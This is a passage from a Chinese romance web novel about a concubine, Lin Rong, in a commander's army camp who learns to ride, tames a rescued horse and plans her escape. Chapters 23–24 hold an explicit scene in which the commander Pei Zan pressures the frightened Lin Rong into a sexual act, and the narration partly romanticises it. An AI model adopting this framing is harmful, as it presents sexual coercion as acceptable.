倒是奇怪,林蓉不过跟着郑慧音玩了两个时辰,回来的时候,竟改头换面了。 林蓉换下那一身素布袄裙,穿了一身宝相花纹翻领胡服,窄袖短衣,足蹬羊羔皮小靴,纤腰被那一件锦绣衣袍勒得更为纤柔荏细。 双环髻里缠了两条锦葵红丝带,飘逸的丝绦垂落耳珠,与那张微鼓的樱唇,相得益彰,将少女的明艳鲜活展现得淋漓尽致。 裴瓒的视线淡漠,再好看的颜色,也不过停留一瞬,收回了目光。 裴瓒拢好公文,轻呷一口清茶,“玩得可好?” 林蓉连连点头,不禁感慨:“郑姐姐人真好啊!不但给我新衣,还赠我吃食!” 裴瓒想到从前郑慧音居心不良,妄图侍寝的事,轻嗤了一声:“你行事愚钝,最好还是留个心眼,免得日后被人卖了,还帮人数钱。” 林蓉乌溜溜的眼珠子转了转,她没听懂裴瓒的话,但不妨碍她记下裴瓒的告诫。 总之事事都当心一些,应该不会出什么差池。 今晚郑慧音好心赠她吃穿,她也应该投桃报李……给郑小姐回什么礼好呢? 林蓉身无分文,买不了什么贵重的礼物,唯有蒸糕的手艺不错。 明日给郑慧音送一些吃食吧。 不管合不合口味,总归是一番心意。 没等林蓉想完这些私事,裴瓒已然搁下茶盏,站起了身。 他走向帐内屏风,褪下披身的外袍。 裴瓒等了片刻,隔着山水薄纱屏风,瞥见林蓉身为侍妾,却像一个不开窍的木头人一般呆坐不动,不由微微眯眸。 没一会儿,裴瓒沉声唤她。 “林蓉。” “……过来侍奉。” 第23章 林蓉不过是高门大院里的小喽啰, 从未担任过内院要职。 外院的丫鬟不要求读书识字,主子家甚至还希望那些仆妇们少识些字,免得懂多了, 心思大了,容易被人教唆, 生出背主的念头。 可内院的丫鬟婆子, 为了方便伺候主子, 不但要断文识字, 还要略通一些礼制规矩,如此才能帮忙府上小姐夫人挑拣衣料、搭配发饰,甚至是调制闺帐里的熏香。 每逢春末, 林蓉就得帮着赵婆子推运一些佛手、香橼等等窖藏的果子,摆进裴老夫人佛堂的瓷缸, 用于香屋子。 唯有这种时候, 林蓉才有资格迈进内院。 十多年来, 林蓉都没服侍过主子的资格, 又怎知如何给家中少爷侍奉枕席? 莫说操持房中事了, 她就连裴瓒的衣袍、发簪都不知道怎么卸。 林蓉临危受命, 想到裴瓒不怒而威的那双凤眸, 指骨间把玩的匕首……忽然紧张到手心都濡满了热汗。 她局促不安地绕过屏风,视线凝在裴瓒腰上。 如今是初春, 平原严寒。 帐中过夜,但穿一身云缎寝衣不够, 还得里外三层才足以避寒。 裴瓒方才信手解了一件御寒的外袍,身上还披着一件广袖素衫,最里边才是那件夜里入睡所穿的中衣。 林蓉洗净双手,小心上前, 扯住裴瓒那件对襟云纹暗花的素袍,小心帮他拆解细带。 林蓉做事认真,帮人宽衣解带亦是如此。 她低着头,红色发带直直下垂,一双柔若无骨的小手在裴瓒的身前乱动。 女孩粉嫩的指尖,微微翘起,如同荷塘初露的莲苞。 她勾缠住衣带,艰难地解衣,偶尔碰到裴瓒块垒分明的窄腰肌理,隔衣还会无意识地勾蹭划圈,掠过一道滑腻腻的痒意。 裴瓒被她捧得不适,一双冷寂眉骨沉下,寒冽看她一眼。 林蓉埋首于他身前,二人距离很久,近若咫尺,独属于林蓉的甜香袭近,就连她呼出的暖热气流,亦萦绕上裴瓒周身。 令人不喜,甚至是生出一丝抵触的心绪。 裴瓒已站了许久,林蓉仍和他衣上细带较劲儿,本来很好解开的两条带子,在她的磋磨下,竟扯成了一个死结。 林蓉呆若木鸡,盯着自己手上杰作,半晌不语。 裴瓒不过瞥去一眼,便被林蓉的笨手笨脚折服,他不禁轻嘲一声:“再拆不开,莫不是还要下嘴咬?” 林蓉一怔,抬头,一双杏眸仓皇无措,语气里带着期盼:“可以吗?” ……竟还真有这种念头。 裴瓒一想到林蓉屈身,低头,张嘴伸舌,含咬他腰前的衣袍绳结,额穴便隐隐胀痛。 裴瓒薄唇微抿。 他拎过林蓉的衣领,将她拉远了一些。 随后,裴瓒冷着脸,绕指扯断了那一条衣带,终是亲力亲为褪了外衫。 林蓉做错了事,她忐忑不安,侍立一侧。 第一次侍衣以失败告终。 等林蓉回神,裴瓒已然倚上帐中矮榻,准备就寝。 锦被覆上男人修长的双腿,他揽来铜灯,吹灯欲睡。 林蓉傻了眼,她忽然想起,之前冯叔虽带她绕了军营一圈,却不曾告诉她夜宿的地方。 裴瓒上榻睡觉,那她睡哪儿? 林蓉看了一眼军帐。 左边的木架挂着佩刀、箭囊、堆放着黑袍甲胄。 一侧的矮案堆累军事文书,还有几个书箱、置衣的箱笼。 没有第二张睡榻。 至多是草坪上铺了一层毛毯,可供林蓉蜷身入睡。 但山麓平原,昼夜温差大,即便林蓉和衣入睡,也有受冻着凉的风险。 穷苦人家最惧寒症,一旦发热,烧至额穴、深入肺经,届时病入膏肓,连夏天都熬不到,不出几个月就得落地发丧。 林蓉很爱惜小命,她不会拿风寒开玩笑。 于是,小姑娘挨上裴瓒的榻沿,双眸乌黑,斟酌着问:“大少爷,我夜里睡哪儿?” 裴瓒并未刁难林蓉,他掀开一侧被角,“上榻。” 林蓉轻轻“啊”了一声,犹豫不决:“妾室和夫主同床共枕,是不是有些不合规矩?” 她原想着,裴瓒会施恩,赏她一条毛毯,可她没想到,大少爷这般客气,竟邀她同榻而眠。 裴瓒倒也没惯着她,听完只淡道:“不愿睡榻,那便睡地,随你喜欢。” 林蓉知道什么叫见好就收,她咬紧牙关,很快就做好心理准备。 林蓉谢了恩,又上屏风后头褪衣、擦身、拆发,随后穿着寝衣,弓着腰,蹑手蹑脚跨过裴瓒,睡到了长榻最里侧。 灯火吹熄,军帐陷入一片混沌的黑暗。 林蓉像一具死尸般直挺挺地躺着。 她和裴瓒共盖一条软被,软被之下,她刻意避嫌,与裴瓒离得好远,两臂之间都能塞下半个人。 被褥间尽是陌生的檀香,如同置身于烟熏火燎的佛堂,气息庄严又沉凝,令人毛骨悚然。 林蓉经历过云雨,她不蠢笨,当然知道裴瓒邀她上榻的内里含义是什么,她早知会有一劫,倒也没有多怕,大不了就是再挨裴瓒一顿欺负……疼是疼了点,不过忍忍也能过去。 林蓉心里七上八下的,她屏息等待半天,可裴瓒没有动作,反倒是气息愈发匀称舒缓。 林蓉偷偷睁眼,借着月光,看了看裴瓒。 男人秀睫下垂,双目轻阖,竟已睡了过去。 林蓉不由怔住……难不成是她以小人之心度君子之腹了?大少爷当真只是关照她,分她一个床位,他并无恶念? 思及至此,林蓉松了一口气,她劳累了好几日,疲乏感上涌,没一会儿便缓慢入睡了。 然而,就在林蓉刚得一夜好眠的时候,她浑身冒汗,被一阵热意唤醒。 林蓉睡眼朦胧,杏眸睁开一道缝隙,入目便是一片雪白如璧、肌理线条流畅的男性胸膛。 她的脑袋发懵,视线上移,落到那一条狞着的旧疤上,狭长锁骨往上,是男人棱角深刻的下颌,微鼓尖锐的喉结…… 是裴瓒! 林蓉脑袋发炸,再一看,她的手竟不知何时摸进了裴瓒的衣袍。 林蓉腿都吓软了,她的脚趾蜷曲,膝盖发酸,刚要挣起身。 殊不知毛毯软滑,她的力气太小,越慌越乱,足尖没能受力,不慎滑跪,又撞上了裴瓒的腰胯。 这一下倒好。 林蓉两腿微分,姿态不雅地趴回裴瓒的胸口。 是她做事毛躁,竟就此横冲直撞,压上了裴瓒的刃。 硬石烧得滚沸,实在硌得慌。 怨不得林蓉,也怨不得裴瓒。 儿郎血气方刚,清晨意动,本就是常事。 只林蓉睡相太过荒唐,又是畏寒的性子,一整晚都将裴瓒当成汤婆子摩挲,里里外外地馋吃。 如今只解开了裴瓒的衣襟,碰了点皮肉,已算她给自己留了几分颜面。 二人的姿势略微尴尬,林蓉的脖颈生热,贝齿轻咬,羞耻感几欲灭顶。 偏她被裴瓒架在那里,寸步难行,实在不知该做什么好。 林蓉小心抬头,窥见自家大少爷那双冷意森然的凤眼,做贼心虚地解释:“大少爷宅心仁厚……知我夜里畏寒,还、还帮我暖身……” 裴瓒自然知道,她说的暖身是指什么。 无非是用上长物军械。 裴瓒喘熄微重,良久不语。 没等林蓉小心翼翼抬腿,从他腰侧逃离。 一只宽大滚烫的手,已经掐住了她的雪臀,将她硬生生按回了原处。 林蓉:“……” 林蓉如坐针毡,肩背僵硬,一动不敢动。 气氛凝重,令人窒息。 倒是裴瓒掌腹力道渐重,粗暴地擒着林蓉。 男人的遒劲臂骨弯曲,覆满鼓动的青筋,他挟持住娇小的林蓉,逼她忍着煎熬,屈膝落座,以唇夹磨。 随后,裴瓒轻抚上林蓉伶仃白净的后颈,指尖勾住几缕乌发,菩提佛珠轻磕后肩,凉意骤起。他迫她仰视,低声讥讽。 “林蓉,既为我房中侍妾……你躲什么?” 第24章 因是卯时一刻, 山麓起雾,遮蔽日光,帐内不亮, 甚至有些昏沉。 林蓉被困在这样混沌的雾色里,连神智都有几分迷离。 她眼睁睁看着自己, 被迫以上克下, 盘坐于裴瓒的劲瘦窄腰。 林蓉手脚僵硬, 任裴瓒泛凉的指骨, 在她后颈滑腻的雪肤上来回流连。 昨夜睡觉,林蓉并没有束发。 一头如瀑青丝散落,柔柔拂落, 恰好被裴瓒的玉指勾缠。 他虚绕着她的乌发,却没有用上悍烈的力道, 不至于弄疼了她。 只是发丝偶尔扯紧, 牵连敏感发麻的头皮, 仍会令林蓉畏惧, 甚至生出一种命悬一线的惊恐。 匕首、破皮割肉、溅射雪地的浓郁鲜血…… 在这一刻, 林蓉终于忆起裴瓒杀人的画面。 不论他平时多么清矜持重, 他骨子里就是充斥着暴烈嗜血的杀心。 他不是悲悯庄严的菩萨, 他是邪神、恶鬼、地狱阎罗。 也是如此,在裴瓒撕开她那一件亵裤的时候, 林蓉没有抵抗。 她不敢生出反心,她任他施为。 林蓉无措地坐在这一座邪劣的男相菩萨身上。 莲碾观音。 如此坦诚相贴。 热意自赤着的骨血, 自下而上,如火焚烧,几乎毁尽了她。 “林蓉,如你乖巧……能自个儿弄出来, 我便放你一马。” 箭在弦上不得不发。 林蓉又不蠢钝。 她怎么可能听不懂裴瓒的话呢? 稍加感受一下便知……筋络掖于薄皮里震颤跳跃。 他不过是想看她狼狈地讨好、懂事地索求。 他要她低声下气求饶,要她知道何为侍妾的本分。 如此,他便大发慈悲,不再入内。 林蓉受过绿珠姐姐的提点,她知道月事后的一段时日很是易孕,二房的姨太太想要怀子,都是在月事走后的五六天后缠着夫主敦伦,一夜要上三五次水,这般才能怀上哥儿姐儿。 林蓉不知军中有没有医工,能否调配避子汤药,她不敢赌那一丝侥幸。 即便林蓉少时受寒,月事不稳,大夫都说了,她极难有孕。 林蓉得逃跑,她不能怀子。 绝对不能让裴瓒进去。 林蓉眼眶生热,鼻尖微涩,她忍住那些胸腔里泛起来的苦味。 女孩的呼吸紊乱,岌岌可危的自尊心,在裴瓒隐含敲打的诱导中,悉数粉碎。 林蓉双目僵直,双手沉甸甸下坠,撑在裴瓒结实硬朗的腹肌之上。 她终是动了。 膝盖小心谨慎地跪到榻上。 明知自己的唾津不够润泽,唇腔也狭窄逼仄,但她无计可施,只能如此。 林蓉咬紧了樱唇,小心地腾挪。 她看到裴瓒愈发黑沉的眸子,看他薄唇微抿,沉默如山。 男人线条优雅的下颌也紧绷了一些,额上青筋微跳,分明在强行隐忍。 林蓉犹如扑火的飞蛾,在这一刻,她跌进炭盆,烧成白灰。 林蓉不敢和裴瓒对视,她对他生出惧意。 林蓉仰着苍白细弱的长颈,一昧望着帐顶。 她想看星星和月亮,她想在天地间驰骋,但她被囚在此间。 底下生了根,林蓉的眼泪摇摇欲坠。 她只觉得裴瓒掐在腿肉的那只手,如同树藤枝蔓,寸寸裹缠。 她被困樊笼,再也逃脱不得。 热汗四溅,湿泞泞的。 榻上这层防水的狼皮毛毯都被林蓉濡尽。 裴瓒将那一截珠光膏腴的纤腰铐在掌中。 他不让林蓉肆意乱扭了。 即便汗水淌过眉峰,裴瓒的长目赤红,他的神色仍旧冷隽。 在最后关头,裴瓒感到餍足。 他轻扯唇角,终是掐着林蓉的下巴,嗓音慵懒低沉,赞她一句。 “林蓉,你很乖。” …… 裴瓒今早还有军务要忙,纾解过后,他便无暇搭理林蓉了。 但好在,裴瓒还有一星半点儿的良知。 他深知军营里没有伺候女眷的仆妇,特意命兵丁将烧好的热水置于帐外,亲自提进帐中,供林蓉擦身洗漱。 待裴瓒走后,林蓉披着衣袍下地,强忍住腿上的酸痛,踉踉跄跄走向屏风。 她摸了一把小肚子。 看着掌心覆满一片黏腻雪絮,心中松了一大口气。 幸好裴瓒践诺,他见她难堪地讨好,给了她一点脸面。 那些东西,尽数留在了外面。 裴瓒只是哄她缠磨。 他没有入内,应该不至于怀子。 林蓉抱有侥幸心理,不断安慰自己。 待她洗净身上的秽泽,换了一件小衣、小裤,最后穿上那一身郑慧音送的窄袖胡服。 林蓉昨天听郑小姐说了,这种窄袖胡袍合适骑射……她想蒸糕讨好郑慧音,看看有没有机会跟着郑慧音学习马术。 林蓉若想趁着战乱出逃,必定要娴熟马术,才能有穿越这一片蓊郁平原的可能。 她听那些灶头兵说了,到处都是无家可归的流民,守门卒几乎不查路引,只要是年轻壮丁就招揽入城,收编进队。 这次常州的战役,是千载难逢的逃跑时机,林蓉一定要把握住。 她可以先逃离此地,再商日后。 等林蓉被裴瓒关进都督府的后宅,她再想出逃,怕是就没那么容易了…… 听人说,前线战事吃紧,裴瓒今早就带队上阵,怕是有个把月回不来了。 得知裴瓒离营的消息,林蓉高兴得晚上睡觉做梦都能笑醒。 后方军营三步一岗,五步一哨,军容整肃,壁垒森严。 但好在林蓉昨日经由冯叔介绍,已经和这些兵卒混了个眼熟。 兵丁碍于裴瓒赫赫威仪,即便想亲近林蓉,也不会不长脑子上前打招呼。 可林蓉是个面善的,嘴也很甜。她的声音娇软,一口一个“大哥”、“兵爷”喊过去,就是火头军再声色俱厉的老兵都对她生出几分好脸色。 林蓉在粮车上找了半天,搬下一个石磨,一小袋白米,还有蔗糖块。 林蓉找了冯叔一趟,想问问能不能帮她弄点羊奶牛乳。 冯叔知道附近有游牧的百姓,专程帮她去讨了一陶罐。 军营的食材有限,多的红豆、绿豆、蜜枣怕是没有,林蓉至多也只能蒸个白糖牛乳米糕。 她特意把昨晚从郑慧音那里得来的果脯切成碎丁,拌进那一盆用石磨碾出来的细腻米浆里,再放到锅里隔水蒸熟。这般蒸出来的甜糕,口感会更为丰富,也更解馋。 林蓉的食材用料不算新鲜,但她有意讨好郑慧音,在磨粉和蒸糕的阶段狠下功夫,最终的成品,米香清淡,甜味适中,很是好吃。 不少看灶的兵丁闻着甜味儿就过来了。 林蓉借用灶房,还烧了兵将们劈砍的柴火,自当留下几份糕点作为回礼,给大家解解馋。 多余的糕点,她分了一份给冯叔,又取来食盒,将剩下的米糕小心置放,送到郑慧音那里去。 林蓉把热腾腾的甜糕送给郑慧音,忐忑地等待郑慧音的品鉴,“怎么样?会不会太甜了?” “不会不会,吃着正好。”好在郑慧音没有露出不好的神情,反倒吃得津津有味。 林蓉松了一口气。 要知道,郑至明虽然时常会给郑慧音带点心铺子的果脯,可那些点心都是冷的凉的,吃起来还干巴巴的,哪有新鲜出炉的牛乳米糕好吃? 况且郑慧音长年累月在外随军,跟着兵将们同吃同住。 火头军能把一日三餐的膳食煮好都不错了,谁还有空管她一个女孩节爱吃的糕饼甜食。 “真好吃。”郑慧音感慨一句。 她对林蓉的手艺赞不绝口,一碟糕点没两下就吃光了。 郑慧音意犹未尽,还想吃,又觉得太麻烦林蓉了,不能占她的便宜。 思毕,郑慧音拉过林蓉,将那些装有金银珠宝、华贵衣裙的箱笼逐个儿打开,展示给林蓉看。 “蓉儿,你喜欢什么就拿,不管是倭国海珠,还是安南玉镯,你都能拿去……只要你三天两头给我送一份甜糕就好了。” 林蓉在宅子里做事多年,当然听得懂郑慧音的言外之意,这是小姐们有事相求,又拉不下脸来讨,只能给些赏赐,以物换物。 林蓉:“郑小姐要是喜欢吃糕,我可以每天都给你蒸。我不要什么宝石华服,我只有一个小小请求……郑小姐最近有没有空,能不能教我骑马?” 郑慧音没想到林蓉的愿望是这个,不由呆住。 骑个马有什么难的。 郑慧音记起林蓉被裴瓒克扣工钱的样子,心里发酸,保不准这甜糕还是林蓉贴钱蒸的。 小丫头就一钱银子傍身,她还贪林蓉的吃食,岂不是太畜生了? 郑慧音一咬牙,应下此事:“这有何难?正好我最近没事,能教你骑马……你且等着,我去马厩里给你挑一匹上等的宝马,再送你一个宝石马鞍!” 天爷!林蓉平时连一两银子都是大钱,哪里见过宝石珠玉。 她受之有愧:“这怎么可以……实在太贵重了。” “哎呀,拿着吧,我好歹大你几岁,专贪妹妹的吃食,说出去怕是要挨我哥的骂。” 郑慧音坚持,林蓉怕马术的事儿黄了,也不敢再推辞。 下午的时候,郑慧音果然带林蓉去围起来的草场挑马。 有一匹汗血宝马生下的小马驹,已经养了两年,足够大了,且性情温顺,毛发鲜亮,正合适女孩家牵来骑射。 这等极品骏马,郑慧音本想给自己留着的,但见林蓉想学马术,便忍痛割爱送给她了。 然而,没等林蓉摸上那一匹赤色的马驹,远处忽然传来了一阵凄厉刺耳的嘶鸣声。 “抓住它!射箭!射它的腿!” “哎呦,真能躲!快用绳子套脖,勒倒它!” …… 林蓉转头望去,定睛一看。 风沙尽头,一匹马被套马绳狠狠掼摔在地,弓箭手拉弓搭箭,瞄准马眼,意图一箭穿脑。 杂毛马被一群人围困其中,似是怒极,悲愤地嘶吼,不断扬鬃踢踏,企图躲开那些气势汹汹的黑羽箭。 套马绳愈发收力,马眼充血,一片猩红。 为了逃命,杂毛马甚至不惜咀嚼麻绳,只求挣脱束缚,得一瞬喘息…… 林蓉呆呆得望着这一幕,半晌不语。 她跟着马奴王叔养过马,并非对养马一事一窍不通。 林蓉至多是不敢骑裴府那些主人家的骏马,但骡子、黑驴,还是骑过几回的。 林蓉知道,一旦健马的四肢骨折受伤,它便只能引颈受戮,郁郁而终,再不可能有伤痊站起的一天。 林蓉问:“那匹马怎么了?” 郑慧音皱眉:“不知哪来的山野母马,让裴都督的战马墨羽给配了,生下这样一头杂毛马……原本想着好歹是墨羽的种,不敢轻易打杀,偏它性烈,养不熟,不听管教。这种野性难驯的马驹,自然不能留。征得裴都督同意后,兵将们打算将它当成肉马,宰了吃了。” 林蓉听得发怔。 她看着那一匹杂毛马,心中五味杂陈。 杂毛马生得的确难看,体态也不算健美。它狼狈倒在泥地里,唇瓣翕动,为了嚼烂绳索,它口吐白沫,马齿几乎磨出血沫…… 林蓉不知为何,胸口发闷,有些难受。 她说不出这种感觉,她只是指着那一匹杂毛马,对郑慧音道:“郑小姐,我喜欢那匹马,能不能把它送我?” 郑慧音惊讶,难得劝了一句:“你初学马术,性烈的马,你驯不了。” 林蓉思索一会儿:“让我试试吧……倘若不行,我就把它送回来。” 郑慧音虽然不知道林蓉为何挑中这匹马,但她执意想要,郑慧音也不会驳人面子。 闻言,郑慧音爽快地点头:“那行,你试试,要是实在骑不了,别勉强自己。万一摔出个好歹来,我哥还有裴都督那里,我没法交代。” 林蓉笑了一下:“好!多谢郑小姐成全。” 第25章 林蓉救下杂毛马后, 并没有即刻上前驯马。 而是小心翼翼靠近杂毛马,一边温柔安抚它的情绪,一边举起剪子对它道:“我不想伤你, 我只是要剪开那一条绳索。你要忍住,千万别踢我……一旦你暴起伤人, 他们知你顽劣, 还会杀了你。” 不知是这只杂毛马已经精疲力尽, 还是它聪慧通智, 马驹不过喷了喷鼻子,抖了抖脑袋,没有做出其他攻击的动作。 林蓉松了一口气, 她把剪子嵌进沾血的麻绳里,用力一挑。 那一条缚马的绳套断成两截。 它自由了。 林蓉释然一笑, 下意识摸了摸杂毛马的黑鬃。 等马驹缓过气儿, 林蓉轻攥着缰绳, 引它站起。 小姑娘牵着受伤的马, 一步步走向不远处的马厩。 杂毛马属于林蓉了。 她给它取了个名字:芝麻。 因它的毛色杂乱无章, 马腹还是黑白两色花斑, 像极了点缀糖糕的黑芝麻。 林蓉还不会骑马, 她知道芝麻性烈,不敢冒着生命危险强行驯马。 起初的几天, 林蓉都找郑慧音作陪,骑的是另一匹性情温顺的小母马。 只她没练多长时间, 竟又觉得浑身酸痛。 林蓉猛然记起那夜发生的事。 她被迫分开双膝,攀缠上裴瓒。 为了别怀胎生子,不让裴瓒入内。 林蓉只能如他所愿,勉力夹实了那一节滚沸。 林蓉骤然遇烫, 还有些不知所措。 只裴瓒掐着她的软腰,逼她碾弄,不让她临阵脱逃。 待裴瓒精元尽释,他终于大发善心,允林蓉停下。 林蓉实在受不得这种磋磨。 甚至往肿地偷偷抹了好几回药膏。 林蓉身上难受,又不敢让郑慧音看出来,只能哄她去巡岗,自己持着马缰慢慢练习。 好在两天后,那些青色指痕尽数褪去,这一次骑马,她终于不觉得煎熬。 林蓉救下那一匹杂毛马,除了可怜它以外,其实也有自己的私心。 林蓉见过王叔驯马,她知道军营里驯化的战马都能听懂骑兵的口令。 一旦兵卒对战马吹响骨哨,战马极可能临时倒戈,跑回军营,或是暴露林蓉出逃的行踪。 她如要逃跑,决不能留下这么大的隐患。 林蓉知道,芝麻与众不同,它性野、通人性,没被驯服。 若林蓉能骑它奔逃,兴许就不会那么容易被人找到。 林蓉骑着小母马,迎着扑面而来的草原劲风,她伏低身子,不要命地朝前冲刺……马背太过颠簸,但她努力平衡身体,足踩马镫,终于顺利地跑完两圈草场。 林蓉在这些杂事上十分好学,她又胆大勤勉,不怕摔不怕疼,不过三五天,她就掌握了骑马的技巧,不至于轻易落马。 此后的一段时间,林蓉每日还是会给郑慧音送蒸糕,但她已经不需要郑慧音陪练马术。 与此同时,林蓉也开始悄无声息地囤粮、积攒肉干、羊皮水囊。 好的是,裴瓒不在营帐,林蓉平时狐假虎威,待在他的帐中用食,再私藏一部分馕饼肉干,无人敢来冒犯,便也不会发现她的逃心。 坏的是,林蓉一顿要吃三张饼,半根烤羊腿,饭量太大,还被人笑话太能吃。到底是取笑姑娘家的话,冯叔听过一两次,还帮林蓉骂了回去——关你屁事!吃你家白面了吗?!小夫人那吃的都是裴都督的粮饷! 林蓉心粗,她不大在意旁人的眼光与讥讽,她只想着自己的事。 最近,林蓉时常亲自割马草、揉草饼来喂养芝麻,她和这匹杂毛马的关系算是突飞猛进。 杂毛马果然聪慧,好几次,它都听懂林蓉取的爱称“芝麻”,还会抖耳朵回应她。 只是每次林蓉持缰上马,芝麻都会疯狂挣扎,直将林蓉甩到草坪里,方才罢休。 林蓉跌坐在茂盛的荒草间发呆。 她盘着腿,托腮,思考原因。 她想了好久,忽然意识到一件事……芝麻摔她的时候很有分寸,每一次都是低头屈膝甩人,还总往厚重的草垛子里扎,并不会弄伤林蓉。 林蓉恍然大悟,她忽然意识到,芝麻可能是不想弄伤林蓉,它比她想象的还要聪明! 林蓉想到那一日拴在芝麻颈子上的套马绳,又看了一眼芝麻套头的嚼子、缰绳。 她再度拍开屁股上粘着的黄泥和草根,试探着上前。 林蓉温柔抚摸芝麻的脑袋,又缓慢解开它的马辔。 芝麻睁着一双乌溜溜的马眼,认真盯着林蓉,似是在等她的后续动作。 林蓉小声密谋:“芝麻,你想不想离开这里?我骑你,并非是想驯化你,将你带到战场上去赴死。我是想带你一起离开这里,不再受人奴役……这样吧,咱俩一起私奔!” 说完,林蓉一甩手上的水勒缰,做出绝不强迫一匹马的英伟姿态。 她拍了拍马背,示意自己要尝试骑马了。 “芝麻啊,别犟了。你不驮着我,我怎么给你指路,咱俩怎么开溜?你要相信我一次!” 林蓉也不知芝麻有没有听懂。 她拆了缰绳,留下马鞍,再次抬腿蹬脚,试图爬上马背。 林蓉心知肚明,之前没能摔伤,除却芝麻认主的原因,还有她手持缰绳的缘故。 这一次,缰绳没了,要是芝麻不配合,再将林蓉丢下马背,那恐怕她真得疼个三两天了。 幸好,今日的芝麻,好似真的领会了林蓉的意思。 它知道林蓉没有恶意,脑袋一歪,竟屈膝跪地,任由她稳稳爬上了马背。 林蓉被芝麻驮到背上,视野一下子变得开阔。 她远眺一望无际的原野,胸臆疏阔,心潮澎湃。 林蓉深吸了一口青涩的草木气息,不知道为什么,忽然鼻尖发酸。 她轻轻抓着芝麻长长的鬃毛,骑着杂毛马绕了好大一圈草场。 即便没有缰绳控马,芝麻也稳稳当当驮着林蓉,没让她摔伤。 林蓉眼眶生热,她满足地爬下马背,又把缰绳套回芝麻的脑袋上。 林蓉抱住马脖子,信誓旦旦地道:“芝麻,你放心。有我一天好日子,也有你的!我这就去准备草饼干粮,待几日后,前线大捷,防守松懈时,咱俩就一起出逃!” 林蓉想好了,她把芝麻当朋友养着,有她一口饭,就有芝麻一口饭! 她还不信了,天大地大,还没有一人一马的容身之地了! 第26章 林蓉深谙狡兔三窟的道理。 她不敢把干粮单独藏在军帐里, 从箱笼里取出几件压箱底的旧衣裳,撕成方布,仔细包好干粮, 再分成三份,分别埋在营地的秘处。 林蓉特意用茶炉烘干过馕饼、肉干, 如此一来, 吃食便不至于招蚊蝇叮咬, 饼子也不会发霉, 能保存得更为长久一些。 虽然烤过的饼子很是干硬,肉块也变得更柴,但兑水来吃, 还是能咽下的。 除此之外,林蓉还存了一些骏马要吃的豆子和草料。 一般来说, 平原马草茂密, 饿不着芝麻。 但遇到雨天, 马草太湿, 骏马很容易拉肚子, 还是要备一些干货。 吃食饮水方面的事准备得差不多了, 其他就是钱财以及傍身之物了。 林蓉的钱都被裴瓒取走, 她翻箱倒柜,也没在军帐里摸出几两碎银。 大少爷防她得紧, 即便把装书、装衣的箱笼舍在营地,也没留下一样值钱之物。 林蓉一筹莫展, 最终把坏心思打在裴瓒用来饮茶的那一只玉盏上。 虽是旧物,但拿去典当说不定也能换点银钱。 思来想去,林蓉还是悄悄顺走了杯子。 不问自取是为偷,林蓉一生坦荡, 没做过这等偷鸡摸狗的事。 她安抚自己:“那就当我侍奉大少爷枕席的赏赐……” 一只玉盏而已,裴瓒不会那么小气吧。 林蓉将它收入囊中,又往包袱里塞了一只郑慧音送的金臂钏……好险是近日得的赏赐,裴瓒不在营地,压根儿不知情。 夜里,林蓉趁着送糕,和郑慧音打听了一下前线的战事。 郑慧音不疑有他,只以为林蓉把裴瓒当成仰慕的夫主,多日不见裴瓒,心中挂念,一心想知道他的去向。 “裴都督文经武略,足智多谋,此番攻打常州,咱们裴家军又是兵精粮足,自然屡战屡捷。我哥那边传来消息了,他们在坚攻战里取胜,已将常州攻下。不出五日,便能班师回营……” 郑慧音深知战役大捷意味着什么。 魏国一共十五州,此番裴瓒和吴冲里应外合,攻下常州。 一旦他们二人联姻结盟,江州、渝州、庐州、常州、青州、徐州,六州整合,便囊括了所有南地重镇。 要知道,当年无上皇横扫六合,也是从镇压一州民变开始,招兵买马,纳叛招降,慢慢开基立业,创国安邦。 裴瓒兵强马壮,麾下人才济济,基础可比开国的无上皇要好多了。 郑慧音是郑至明的妹妹,她知道裴瓒胸有丘壑,足智多谋,他多年部署,无非是想利用魏国内乱,割据一方,自立称王。 如此便能摆脱元庆帝的桎梏,不再受制于人。 郑慧音从前敬仰裴瓒,说是喜欢他这个人,倒不如说是贪慕权势,她也想从裴瓒这里分得一杯羹。 不过郑慧音主动献身,又被裴瓒所伤。 心灰意冷之际,又看他对待林蓉刻薄寡义,终是醒悟过来……此人冷心冷肝,连恩宠都不会施与女子,又怎可能赠予旁人地位与权势。和他邀欢,实在太亏了。 郑慧音记起裴瓒要与吴氏女联姻的事,她不知道林蓉是否知情,不免同情地看了林蓉一眼。 她恐怕还不知道裴瓒的正妻即将登门吧? 蓉儿天真乖巧,而簪缨世家教养出来的嫡女哪个不是人精?在这样的高门主母手下讨生活,恐怕林蓉日后还有苦头吃呢。 但凡裴瓒护着她点还没什么,偏他将林蓉当成无足轻重的侍妾,恐怕不会为婢女出身的玩物出头。 郑慧音叹了一口气,语重心长地道:“蓉儿,听姐姐一句劝。待裴都督此番回营,你多想想法子,睡他几回,早日生下庶子吧。” 林蓉还在偷看那一纸标明各地方位的舆图。 林蓉不免感慨,还好她识了一点字,不然连地图都看不明白,遑论逃跑。 没等她在心中记下前线战地的所在方位,冷不丁听到郑慧音那句语重心长的告诫。 “啊?”林蓉被她问懵了,呆呆抬头。 郑慧音本想与林蓉说说吴氏女的事,劝她早点生子,如此才能在后宅立足。 但一想……裴瓒城府深沉,为人薄情,怎肯让祸家的庶长子先出世?嫡妻未曾怀上子女,先让庶子女出生,俨然是要打吴家人的脸啊! 倘若林蓉听她挑唆,真去勾引裴瓒,保不准适得其反,还要遭人嫌恶。 想到这里,郑慧音摇摇头:“没事……你凡事留个心,真有什么,你就来找我,我会尽力帮你的。” 林蓉甜甜一笑:“谢谢郑小姐。” 郑慧音翻了个白眼:“喊什么‘郑小姐’,你喊我‘郑姐姐’吧,就当我认下你这个妹妹了。” 林蓉没想到郑慧音愿意与她这样的庶民攀亲,一时间心脏发软,她没有拂人好意,口齿伶俐地喊:“郑姐姐!” “嘿,真乖。”郑慧音心里高兴,捏了捏她的小脸。 郑慧音自幼失怙失恃,和兄长郑至明相依为命,她一直是家中幺女,如今还多了个小妹妹,挺新鲜的。 特别是林蓉乖巧、实诚,很能激起人的保护欲。 郑慧音把她认成阿妹,凡事就能帮她出个头了。 “蓉儿,你过来,我这里有一套天竺传来的金丝头面,我给你戴上瞧瞧。” 郑慧音自打上一次给林蓉编头发、换胡服后,得了些趣味,每回见着林蓉,总要把她装扮一番。 郑慧音将林蓉拉到梳妆镜前,一面帮她打辫子,一面从箱笼里翻出各式各样的外藩女裙,让林蓉换上给她看。 林蓉存有私心,她任郑慧音打扮,趁着郑慧音沉迷玩乐的时候,故意和阿姐打听军情、战况、附近州府的路线。 郑慧音为了哄妹妹乖乖不动,也好帮她穿个耳珰,几乎是知无不言言无不尽。 